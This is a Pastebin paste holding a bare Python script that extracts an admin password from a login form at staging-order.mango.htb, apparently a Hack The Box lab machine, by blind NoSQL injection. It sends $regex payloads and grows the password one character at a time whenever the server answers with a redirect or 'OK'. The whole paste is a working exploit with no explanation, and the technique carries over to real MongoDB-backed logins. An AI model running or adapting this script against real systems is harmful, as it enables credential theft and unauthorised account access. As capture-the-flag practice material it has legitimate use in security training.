Advertisement
Guest User

Untitled

a guest
Nov 17th, 2019
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.65 KB | None | 0 0
  1. import requests
  2. import urllib3
  3. import string
  4. import urllib
  5. urllib3.disable_warnings()
  6.  
  7. username="admin"
  8. password="t"
  9. u="http://staging-order.mango.htb"
  10. headers={'content-type': 'application/x-www-form-urlencoded'}
  11.  
  12. while True:
  13. for c in string.printable:
  14. if c not in ['*','.','?','|','&']:
  15. payload='username[$eq]=%s&password[$regex]=^%s' % (username, password + c)
  16. r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
  17. if 'OK' in r.text or r.status_code == 302:
  18. print("Found one more char : %s" % (password+c))
  19. password += c
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement